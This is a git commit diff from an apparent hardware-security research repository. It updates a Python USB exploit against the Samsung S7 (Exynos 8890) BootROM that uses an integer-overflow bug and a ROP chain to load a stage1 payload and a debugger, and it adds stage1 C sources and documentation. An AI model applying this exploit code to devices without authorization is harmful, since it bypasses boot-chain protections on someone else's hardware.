Merge branch 'main' of https://git.herreweb.nl/EljakimHerrewijnen/Samsung_S7
Merging small docs update
This commit is contained in:
commit
679d96f121
13
documentation/source/BootROM_8890/boot_chain.rst
Normal file
13
documentation/source/BootROM_8890/boot_chain.rst
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
=======
|
||||||
|
Booting
|
||||||
|
=======
|
||||||
|
After exploitation the goal is to fully boot the device.
|
||||||
|
|
||||||
|
debugger
|
||||||
|
========
|
||||||
|
Some other information about the debugger and it's current state.
|
||||||
|
|
||||||
|
ROM
|
||||||
|
---
|
||||||
|
|
||||||
|
|
@ -9,6 +9,8 @@ Protections
|
|||||||
-----------
|
-----------
|
||||||
There are no stack canaries or guard pages, and no ASLR. Meaning there are almost no protections in place.
|
There are no stack canaries or guard pages, and no ASLR. Meaning there are almost no protections in place.
|
||||||
|
|
||||||
|
Rom is at address 0x0 and is unwritable(Sometimes this is writeable due to MMU caching).
|
||||||
|
|
||||||
Samsung Firmware
|
Samsung Firmware
|
||||||
----------------
|
----------------
|
||||||
Samsung releases firmware files for their devices. These files contain the bootloader, modem, and other firmware files.
|
Samsung releases firmware files for their devices. These files contain the bootloader, modem, and other firmware files.
|
||||||
|
@ -12,5 +12,6 @@ Documentation on Samsung devices, currently mainly the Samsung S7.
|
|||||||
:caption: BootROMs:
|
:caption: BootROMs:
|
||||||
|
|
||||||
BootROM_8890/index.rst
|
BootROM_8890/index.rst
|
||||||
|
BootROM_8890/boot_chain.rst
|
||||||
|
|
||||||
|
|
||||||
|
@ -1,9 +1,9 @@
|
|||||||
#Ghidra Lock File
|
#Ghidra Lock File
|
||||||
#Wed Jul 31 20:30:18 CEST 2024
|
#Sat Aug 03 17:14:04 CEST 2024
|
||||||
OS\ Name=Linux
|
OS\ Name=Linux
|
||||||
OS\ Version=6.5.0-41-generic
|
OS\ Version=6.5.0-44-generic
|
||||||
Username=eljakim
|
Username=eljakim
|
||||||
Hostname=levith
|
Hostname=levith
|
||||||
<META>\ Supports\ File\ Channel\ Locking=Channel Lock
|
<META>\ Supports\ File\ Channel\ Locking=Channel Lock
|
||||||
OS\ Architecture=amd64
|
OS\ Architecture=amd64
|
||||||
Timestamp=7/31/24, 8\:30 PM
|
Timestamp=8/3/24, 5\:14 PM
|
||||||
|
@ -2,14 +2,14 @@
|
|||||||
<FILE_INFO>
|
<FILE_INFO>
|
||||||
<BASIC_INFO>
|
<BASIC_INFO>
|
||||||
<STATE NAME="EXCLUSIVE" TYPE="boolean" VALUE="false" />
|
<STATE NAME="EXCLUSIVE" TYPE="boolean" VALUE="false" />
|
||||||
<STATE NAME="CHECKOUT_VERSION" TYPE="int" VALUE="1" />
|
<STATE NAME="CHECKOUT_VERSION" TYPE="int" VALUE="-1" />
|
||||||
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
|
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
|
||||||
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||||
<STATE NAME="FILE_ID" TYPE="string" VALUE="7f0119bc3142241939494339" />
|
<STATE NAME="FILE_ID" TYPE="string" VALUE="7f011889d240069673442230" />
|
||||||
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||||
<STATE NAME="LOCAL_CHECKOUT_VERSION" TYPE="int" VALUE="1" />
|
<STATE NAME="LOCAL_CHECKOUT_VERSION" TYPE="int" VALUE="-1" />
|
||||||
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
||||||
<STATE NAME="CHECKOUT_ID" TYPE="long" VALUE="2" />
|
<STATE NAME="CHECKOUT_ID" TYPE="long" VALUE="-1" />
|
||||||
<STATE NAME="NAME" TYPE="string" VALUE="8890_bootrom.bin" />
|
<STATE NAME="NAME" TYPE="string" VALUE="8890_bootrom.bin.keep" />
|
||||||
</BASIC_INFO>
|
</BASIC_INFO>
|
||||||
</FILE_INFO>
|
</FILE_INFO>
|
||||||
|
Binary file not shown.
@ -1,4 +1,11 @@
|
|||||||
VERSION=1
|
VERSION=1
|
||||||
/
|
/
|
||||||
NEXT-ID:0
|
00000002:8890_bootrom.bin:7f0119bc3142241939494339
|
||||||
|
/mib3
|
||||||
|
00000000:full_boot:7f0118059140616855428589
|
||||||
|
/s7
|
||||||
|
00000003:sboot.bin.2.bin:7f011ab837995028720085
|
||||||
|
00000004:sboot.bin.3.bin:7f011872b8163836628792
|
||||||
|
00000005:sboot.bin.4.bin:7f011842b8231996037592
|
||||||
|
NEXT-ID:6
|
||||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
|
@ -3,5 +3,9 @@ VERSION=1
|
|||||||
00000002:8890_bootrom.bin:7f0119bc3142241939494339
|
00000002:8890_bootrom.bin:7f0119bc3142241939494339
|
||||||
/mib3
|
/mib3
|
||||||
00000000:full_boot:7f0118059140616855428589
|
00000000:full_boot:7f0118059140616855428589
|
||||||
NEXT-ID:3
|
/s7
|
||||||
|
00000003:sboot.bin.2.bin:7f011ab837995028720085
|
||||||
|
00000004:sboot.bin.3.bin:7f011872b8163836628792
|
||||||
|
00000005:sboot.bin.4.bin:7f011842b8231996037592
|
||||||
|
NEXT-ID:6
|
||||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
|
@ -1,10 +0,0 @@
|
|||||||
FADD:/NewFolder
|
|
||||||
FMV:/NewFolder:/mib3
|
|
||||||
IADD:00000000:/mib3/fwbl1_a.bin
|
|
||||||
IDSET:/mib3/fwbl1_a.bin:7f0118059140616855428589
|
|
||||||
IMV:/mib3/fwbl1_a.bin:/mib3/full_boot
|
|
||||||
IADD:00000001:/mib3/8890_bootrom.bin
|
|
||||||
IDSET:/mib3/8890_bootrom.bin:7f011974d142238523757581
|
|
||||||
IADD:00000002:/8890_bootrom.bin
|
|
||||||
IDSET:/8890_bootrom.bin:7f0119bc3142241939494339
|
|
||||||
IDEL:/mib3/8890_bootrom.bin
|
|
Binary file not shown.
@ -1,4 +1,8 @@
|
|||||||
VERSION=1
|
VERSION=1
|
||||||
/
|
/
|
||||||
NEXT-ID:0
|
00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037
|
||||||
|
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
|
||||||
|
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
|
||||||
|
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
|
||||||
|
NEXT-ID:4
|
||||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
|
@ -1,5 +1,9 @@
|
|||||||
VERSION=1
|
VERSION=1
|
||||||
/
|
/
|
||||||
00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037
|
00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037
|
||||||
NEXT-ID:1
|
00000004:udf_7f011842b8231996037592:7f01190f112184430945139
|
||||||
|
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
|
||||||
|
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
|
||||||
|
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
|
||||||
|
NEXT-ID:5
|
||||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
|
@ -1,2 +1,2 @@
|
|||||||
IADD:00000000:/udf_7f0118059140616855428589
|
IADD:00000004:/udf_7f011842b8231996037592
|
||||||
IDSET:/udf_7f0118059140616855428589:7f0118d0b142268235940037
|
IDSET:/udf_7f011842b8231996037592:7f01190f112184430945139
|
||||||
|
@ -1,2 +0,0 @@
|
|||||||
IADD:00000001:/udf_7f0119bc3142241939494339
|
|
||||||
IDSET:/udf_7f0119bc3142241939494339:7f011abb7142807435236045
|
|
2
source/exploit/.gitignore
vendored
2
source/exploit/.gitignore
vendored
@ -1,2 +1,4 @@
|
|||||||
*.elf
|
*.elf
|
||||||
*.o
|
*.o
|
||||||
|
*.bin
|
||||||
|
venv/
|
9
source/exploit/.vscode/launch.json
vendored
9
source/exploit/.vscode/launch.json
vendored
@ -11,6 +11,15 @@
|
|||||||
"program": "exploit.py",
|
"program": "exploit.py",
|
||||||
"console": "integratedTerminal",
|
"console": "integratedTerminal",
|
||||||
"args": ["--debug"]
|
"args": ["--debug"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Run chain",
|
||||||
|
"type": "debugpy",
|
||||||
|
"request": "launch",
|
||||||
|
"program": "exploit.py",
|
||||||
|
"console": "integratedTerminal",
|
||||||
|
"justMyCode": false,
|
||||||
|
"args": []
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
17
source/exploit/Readme.md
Normal file
17
source/exploit/Readme.md
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
# Exploit
|
||||||
|
Python implementation of Frederick's exploit. This gives a bit more insight in the bug.
|
||||||
|
|
||||||
|
## Debugger
|
||||||
|
The debugger is used for chain loading the next stages. See the documentation folder for more docs
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
Navigate to stage1 and build it:
|
||||||
|
```
|
||||||
|
export ANDROID_NDK_ROOT=$TOOLCHAINENV/android-ndk-r21_Linux
|
||||||
|
make
|
||||||
|
```
|
||||||
|
This will build stage1
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 exploit.py
|
||||||
|
```
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -3,6 +3,9 @@ import struct, sys, usb1, libusb1, ctypes, usb, argparse
|
|||||||
from keystone import *
|
from keystone import *
|
||||||
from capstone import *
|
from capstone import *
|
||||||
from ghidra_assistant.utils.utils import *
|
from ghidra_assistant.utils.utils import *
|
||||||
|
from ghidra_assistant.concrete_device import *
|
||||||
|
from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger
|
||||||
|
from qiling.const import QL_ARCH
|
||||||
|
|
||||||
def p32(x):
|
def p32(x):
|
||||||
return struct.pack("<I", x)
|
return struct.pack("<I", x)
|
||||||
@ -16,6 +19,9 @@ def p16(x):
|
|||||||
def p64(x):
|
def p64(x):
|
||||||
return struct.pack("<Q", x)
|
return struct.pack("<Q", x)
|
||||||
|
|
||||||
|
logger = setup_logger("") #Leave empty to get root logger
|
||||||
|
logger.setLevel(logging.DEBUG)
|
||||||
|
|
||||||
BLOCK_SIZE = 512
|
BLOCK_SIZE = 512
|
||||||
CHUNK_SIZE = 0xfffe00
|
CHUNK_SIZE = 0xfffe00
|
||||||
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)
|
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)
|
||||||
@ -35,6 +41,9 @@ TARGET_OFFSETS = {
|
|||||||
ENDPOINT_BULK_IN = 0x81
|
ENDPOINT_BULK_IN = 0x81
|
||||||
ENDPOINT_BULK_OUT = 0x2
|
ENDPOINT_BULK_OUT = 0x2
|
||||||
|
|
||||||
|
ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
|
||||||
|
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
|
||||||
|
|
||||||
class ExynosDevice():
|
class ExynosDevice():
|
||||||
|
|
||||||
def __init__(self, idVendor=0x04e8, idProduct=0x1234):
|
def __init__(self, idVendor=0x04e8, idProduct=0x1234):
|
||||||
@ -58,27 +67,22 @@ class ExynosDevice():
|
|||||||
|
|
||||||
print("Connected device!")
|
print("Connected device!")
|
||||||
|
|
||||||
def write(self, data, size=-1):
|
def write(self, data):
|
||||||
transfered = 0
|
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
if size == -1:
|
|
||||||
size = len(data)
|
|
||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
|
||||||
assert(res == 0)
|
assert(res == 0), "Could not perform bulk transfer"
|
||||||
return transfered
|
return res
|
||||||
|
|
||||||
def send_empty_transfer(self):
|
def send_empty_transfer(self):
|
||||||
transfered = 0x200
|
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
|
||||||
assert(res == 0)
|
assert(res == 0)
|
||||||
return transfered
|
return transferred.value
|
||||||
|
|
||||||
def test_bug_2(self):
|
def test_bug_2(self):
|
||||||
# Also bug here
|
'''
|
||||||
# payload = p32(1) + p32(CHUNK_SIZE + 0x2001) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
Interger overflow in last packet if reamining size is 1.
|
||||||
# self.write(payload, MAX_PAYLOAD_SIZE)
|
'''
|
||||||
# self.write(b"\xaa" * CHUNK_SIZE, CHUNK_SIZE)
|
|
||||||
|
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
||||||
@ -103,7 +107,7 @@ class ExynosDevice():
|
|||||||
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
||||||
|
|
||||||
assert (len(payload) == BLOCK_SIZE)
|
assert (len(payload) == BLOCK_SIZE)
|
||||||
self.write(payload, MAX_PAYLOAD_SIZE)
|
res = self.write(payload, MAX_PAYLOAD_SIZE)
|
||||||
|
|
||||||
for i in range(200):
|
for i in range(200):
|
||||||
print(hex(self.send_empty_transfer()))
|
print(hex(self.send_empty_transfer()))
|
||||||
@ -112,6 +116,9 @@ class ExynosDevice():
|
|||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
def send_normal(self, payload):
|
def send_normal(self, payload):
|
||||||
|
'''
|
||||||
|
TODO not working
|
||||||
|
'''
|
||||||
# construct dl_data
|
# construct dl_data
|
||||||
payload = struct.pack("<II", 0, len(payload)) #+ (payload + b"\x00" * 2)
|
payload = struct.pack("<II", 0, len(payload)) #+ (payload + b"\x00" * 2)
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
@ -120,6 +127,9 @@ class ExynosDevice():
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
def exploit(self, payload: bytes):
|
def exploit(self, payload: bytes):
|
||||||
|
'''
|
||||||
|
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload
|
||||||
|
'''
|
||||||
current_offset = TARGET_OFFSETS[self.target][0]
|
current_offset = TARGET_OFFSETS[self.target][0]
|
||||||
transferred = ctypes.c_int()
|
transferred = ctypes.c_int()
|
||||||
|
|
||||||
@ -166,110 +176,106 @@ class ExynosDevice():
|
|||||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
|
||||||
assert res == 0, "Error sending ROP chain"
|
assert res == 0, "Error sending ROP chain"
|
||||||
|
|
||||||
|
def usb_write(self, data):
|
||||||
|
assert len(data) <= 0x200, "Data too big"
|
||||||
|
transferred = ctypes.c_int()
|
||||||
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300)
|
||||||
|
assert res == 0, f"Error sending data {res}"
|
||||||
|
assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}"
|
||||||
|
return transferred.value
|
||||||
|
|
||||||
|
def usb_read(self, size):
|
||||||
|
transferred = ctypes.c_int()
|
||||||
|
buf = ctypes.c_buffer(b"", size)
|
||||||
|
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300)
|
||||||
|
assert res == 0, f"Error receiving data {res}"
|
||||||
|
return buf.raw[:transferred.value]
|
||||||
|
|
||||||
|
def setup_concrete_device(self, concrete_device : ConcreteDevice):
|
||||||
|
#Setup architecture
|
||||||
|
concrete_device.arch = QL_ARCH.ARM64
|
||||||
|
concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet
|
||||||
|
concrete_device.ga_vbar_location = 0x206d000 + 0x1000
|
||||||
|
concrete_device.ga_storage_location = 0x206d000
|
||||||
|
concrete_device.ga_stack_location = 0x206b000
|
||||||
|
|
||||||
|
concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
|
||||||
|
concrete_device.arch_dbg.read = self.usb_read
|
||||||
|
concrete_device.arch_dbg.write = self.usb_write
|
||||||
|
|
||||||
|
#Overwrite all calls to make the concrete target function properly
|
||||||
|
concrete_device.copy_functions()
|
||||||
|
|
||||||
|
def setup_debugger(self):
|
||||||
|
'''
|
||||||
|
Setup the debugger as a concrete device
|
||||||
|
'''
|
||||||
|
self.cd = ConcreteDevice(None, False)
|
||||||
|
self.cd.dev = self.setup_concrete_device(self.cd)
|
||||||
|
self.cd.test_connection()
|
||||||
|
|
||||||
|
def dumb_interact(self):
|
||||||
|
'''
|
||||||
|
Room for playing around with the debugger
|
||||||
|
'''
|
||||||
|
self.cd.arch_dbg.state.auto_sync = False
|
||||||
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
|
AUTH_BL1 = 0x00012848
|
||||||
|
def memdump_try():
|
||||||
|
dumped = b""
|
||||||
|
for block in range(0x2020000, 0x2200000, 0x200):
|
||||||
|
print(hex(block))
|
||||||
|
dumped += self.cd.memdump_region(block, 0x200)
|
||||||
|
|
||||||
|
def auth_bl1():
|
||||||
|
# Load the firmware
|
||||||
|
self.cd.arch_dbg.state.X0 = 1
|
||||||
|
self.cd.arch_dbg.state.X1 = 1
|
||||||
|
self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
|
||||||
|
self.cd.restore_stack_and_jump(AUTH_BL1)
|
||||||
|
|
||||||
|
fwbl1 = open("../S7/fwbl1.bin", "rb").read()
|
||||||
|
self.cd.memwrite_region(0x02021800, fwbl1)
|
||||||
|
memdump_try()
|
||||||
|
auth_bl1()
|
||||||
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
|
#authenticate it
|
||||||
|
pass
|
||||||
|
|
||||||
|
def run_boot_chain(self):
|
||||||
|
stage1 = open("stage1/stage1.bin", "rb").read()
|
||||||
|
self.exploit(stage1)
|
||||||
|
|
||||||
|
def run_debugger():
|
||||||
|
# TODO, hardcoded path
|
||||||
|
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
|
||||||
|
debugger += ((0x2000 - len(debugger)) * b"\x00")
|
||||||
|
assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
|
||||||
|
for block in range(0, len(debugger), 0x200):
|
||||||
|
self.usb_write(debugger[block:block+0x200])
|
||||||
|
# time.sleep(.5) # Wait a little bit
|
||||||
|
assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
|
||||||
|
|
||||||
|
# Test basic functionality
|
||||||
|
self.usb_write(b"PING")
|
||||||
|
r = self.usb_read(0x200)
|
||||||
|
assert r == b"PONG", f"Invalid response from device: {r}"
|
||||||
|
|
||||||
|
run_debugger()
|
||||||
|
self.setup_debugger()
|
||||||
|
|
||||||
|
self.dumb_interact()
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
|
|
||||||
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
|
|
||||||
def usb_debug():
|
def usb_debug():
|
||||||
shellcode = f"""
|
'''
|
||||||
start:
|
Function to debug USB behavior
|
||||||
adr x0, test_fun
|
'''
|
||||||
ldr x0, [x0]
|
|
||||||
blr x0
|
|
||||||
|
|
||||||
mov w1, #0x20000 // size
|
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
|
||||||
mov w0, #0x0 // address
|
|
||||||
bl usb_send
|
|
||||||
mov x0, #0
|
|
||||||
br x0 //reset
|
|
||||||
|
|
||||||
#Setup read usb
|
|
||||||
mov w0, #0x2
|
|
||||||
adr x1, shellcode_base
|
|
||||||
ldr x1, [x1]
|
|
||||||
mov w2, #0x02020000
|
|
||||||
add w2, w2, #0x2000
|
|
||||||
# endpoint, cb, buffer
|
|
||||||
adr x5, maybe_usb_setup_read
|
|
||||||
ldr x5, [x5]
|
|
||||||
blr x5
|
|
||||||
|
|
||||||
|
|
||||||
# Get something?? arg0 is endpoint
|
|
||||||
mov w0, #0x2
|
|
||||||
adr x1, maybe_read_size_endpoint
|
|
||||||
ldr x1, [x1]
|
|
||||||
blr x1
|
|
||||||
|
|
||||||
|
|
||||||
# # Send some data from ROM
|
|
||||||
# mov w1, #0x200 // size
|
|
||||||
# mov w0, #0x0 // address
|
|
||||||
# bl usb_send
|
|
||||||
# mov x0, #0
|
|
||||||
# br x0 //reset
|
|
||||||
|
|
||||||
|
|
||||||
# # dwc3_ep0_start_trans
|
|
||||||
# mov w1, w0
|
|
||||||
# mov w0, #0x2
|
|
||||||
# mov w2, #0x200
|
|
||||||
# adr x5, dwc3_ep0_start_trans
|
|
||||||
# ldr x5, [x5]
|
|
||||||
# blr x5
|
|
||||||
|
|
||||||
# # Send some data from ROM
|
|
||||||
# mov w1, #0x200 // size
|
|
||||||
# mov w0, #0x0 // address
|
|
||||||
# bl usb_send
|
|
||||||
# mov x0, #0
|
|
||||||
# br x0 //reset
|
|
||||||
|
|
||||||
usb_send:
|
|
||||||
stp x29, x30, [sp,#-48]!
|
|
||||||
mov w3, #0x0
|
|
||||||
bfxil w3, w1, #0, #24
|
|
||||||
mov w1, #0xc12
|
|
||||||
mov x29, sp
|
|
||||||
stp x19, x20, [sp,#16]
|
|
||||||
mov x5, #0xc834
|
|
||||||
mov w20, #0x1
|
|
||||||
movk x5, #0x1540, lsl #16
|
|
||||||
ldr x2, [x29,#40]
|
|
||||||
mov x4, #0xc838
|
|
||||||
orr w6, w1, w20
|
|
||||||
movk x4, #0x1540, lsl #16
|
|
||||||
mov x19, #0xc83c
|
|
||||||
movk x19, #0x1540, lsl #16
|
|
||||||
stp w3, w1, [x2,#8]
|
|
||||||
mov w3, #0x406
|
|
||||||
stp w0, wzr, [x2]
|
|
||||||
mov w0, w20
|
|
||||||
ldr x1, [x29,#40]
|
|
||||||
strb w6, [x2,#12]
|
|
||||||
mov x2, #0x27c8
|
|
||||||
str w1, [x5]
|
|
||||||
mov w1, #0x1388
|
|
||||||
str wzr, [x4]
|
|
||||||
str w3, [x19]
|
|
||||||
blr x2
|
|
||||||
mov w0, w20
|
|
||||||
ldr w1, [x19]
|
|
||||||
ldp x19, x20, [sp,#16]
|
|
||||||
ldp x29, x30, [sp],#48
|
|
||||||
ret
|
|
||||||
|
|
||||||
usb_read_endpoint: .quad 0x00006654
|
|
||||||
maybe_usb_setup_read: .quad 0x00006f88
|
|
||||||
shellcode_base: .quad 0x02021800
|
|
||||||
maybe_read_size_endpoint: .quad 0x00007a7c
|
|
||||||
dwc3_ep0_start_trans: .quad 0x0000791c
|
|
||||||
test_fun: .quad 0x000064e0
|
|
||||||
"""
|
|
||||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
|
||||||
|
|
||||||
shellcode = open("dwc3.bin", "rb").read()
|
|
||||||
assert len(shellcode) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
|
assert len(shellcode) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
|
||||||
|
|
||||||
exynos = ExynosDevice()
|
exynos = ExynosDevice()
|
||||||
@ -302,20 +308,10 @@ def usb_debug():
|
|||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
arg = argparse.ArgumentParser("Exynos exploit")
|
arg = argparse.ArgumentParser("Exynos exploit")
|
||||||
arg.add_argument("--debug", action="store_true")
|
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||||
args = arg.parse_args()
|
args = arg.parse_args()
|
||||||
if args.debug:
|
if args.debug:
|
||||||
usb_debug()
|
usb_debug()
|
||||||
sys.exit
|
sys.exit(0)
|
||||||
# usb_debug()
|
|
||||||
# sys.exit(0)
|
|
||||||
# wait_for_device()
|
|
||||||
exynos = ExynosDevice()
|
exynos = ExynosDevice()
|
||||||
exynos.send_normal(open("S7/fwbl1.bin", 'rb').read())
|
exynos.run_boot_chain()
|
||||||
sys.exit()
|
|
||||||
# exynos.test_bug_2()
|
|
||||||
sys.exit(0)
|
|
||||||
path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin"
|
|
||||||
# path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin"
|
|
||||||
exynos.exploit(open(path, "rb").read())
|
|
||||||
pass
|
|
||||||
|
@ -1,9 +1,11 @@
|
|||||||
from ghidra_assistant.ghidra_assistant import GhidraAssistant
|
from ghidra_assistant.ghidra_assistant import GhidraAssistant
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
rom = open("S7/rom.bin", 'rb').read()
|
# rom = open("S7/rom.bin", 'rb').read()
|
||||||
|
imem = open("exynos_imem_0x02020000_0x2070000.bin", 'rb').read()
|
||||||
|
|
||||||
ga = GhidraAssistant()
|
ga = GhidraAssistant()
|
||||||
ga.ghidra.add_memory(rom, 0x0, True, "ROM")
|
# ga.ghidra.add_memory(rom, 0x0, True, "ROM")
|
||||||
|
ga.ghidra.add_memory(imem, 0x02020000, True, "IMEM")
|
||||||
|
|
||||||
pass
|
pass
|
@ -1,5 +0,0 @@
|
|||||||
# Exploit
|
|
||||||
|
|
||||||
## test_dwc3
|
|
||||||
simple dwc3 usb implementation to send/receive data.
|
|
||||||
|
|
3
source/exploit/stage1/.gitignore
vendored
Normal file
3
source/exploit/stage1/.gitignore
vendored
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
*.o
|
||||||
|
*.bin
|
||||||
|
*.elf
|
@ -10,8 +10,8 @@ LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linu
|
|||||||
#==================Target Samsung S7 (8890)==================
|
#==================Target Samsung S7 (8890)==================
|
||||||
CFLAGS_SAMSUNGS7 = -Os
|
CFLAGS_SAMSUNGS7 = -Os
|
||||||
|
|
||||||
dwc3:
|
stage1:
|
||||||
$(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7)
|
$(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7)
|
||||||
$(CC) $(CFLAGS_SAMSUNGS7) -c test_dwc3.c -o dwc3.o
|
$(CC) $(CFLAGS_SAMSUNGS7) -c stage1.c -o stage1.o
|
||||||
$(LD) -T test_dwc3.ld entry.o dwc3.o -o dwc3.elf --just-symbols=symbols.txt
|
$(LD) -T linkscript.ld entry.o stage1.o -o stage1.elf --just-symbols=symbols.txt
|
||||||
$(OBJCOPY) -O binary dwc3.elf dwc3.bin
|
$(OBJCOPY) -O binary stage1.elf stage1.bin
|
5
source/exploit/stage1/Readme.md
Normal file
5
source/exploit/stage1/Readme.md
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
# Stage 1
|
||||||
|
Stage 1 is responsible for loading the debugger.
|
||||||
|
|
||||||
|
## Memory map
|
||||||
|
![memory map](memory_map.drawio.svg)
|
@ -1,5 +1,5 @@
|
|||||||
MEMORY {
|
MEMORY {
|
||||||
ROM (rwx): ORIGIN = 0x02021800, LENGTH = 0x1000
|
ROM (rwx): ORIGIN = 0x02021800, LENGTH = 502
|
||||||
}
|
}
|
||||||
|
|
||||||
SECTIONS
|
SECTIONS
|
1
source/exploit/stage1/memory_map.drawio.svg
Normal file
1
source/exploit/stage1/memory_map.drawio.svg
Normal file
File diff suppressed because one or more lines are too long
After Width: | Height: | Size: 9.7 KiB |
86
source/exploit/stage1/stage1.c
Normal file
86
source/exploit/stage1/stage1.c
Normal file
@ -0,0 +1,86 @@
|
|||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
// Create external function at 0x00006f88
|
||||||
|
extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer);
|
||||||
|
extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len);
|
||||||
|
extern int usb_event_handler(void);
|
||||||
|
extern uint32_t get_endpoint_recv_buffer(char endpoint);
|
||||||
|
extern void sleep(int endpoint,uint32_t timeout);
|
||||||
|
extern void usb_send(uint32_t address,uint32_t size);
|
||||||
|
extern void rom_send();
|
||||||
|
|
||||||
|
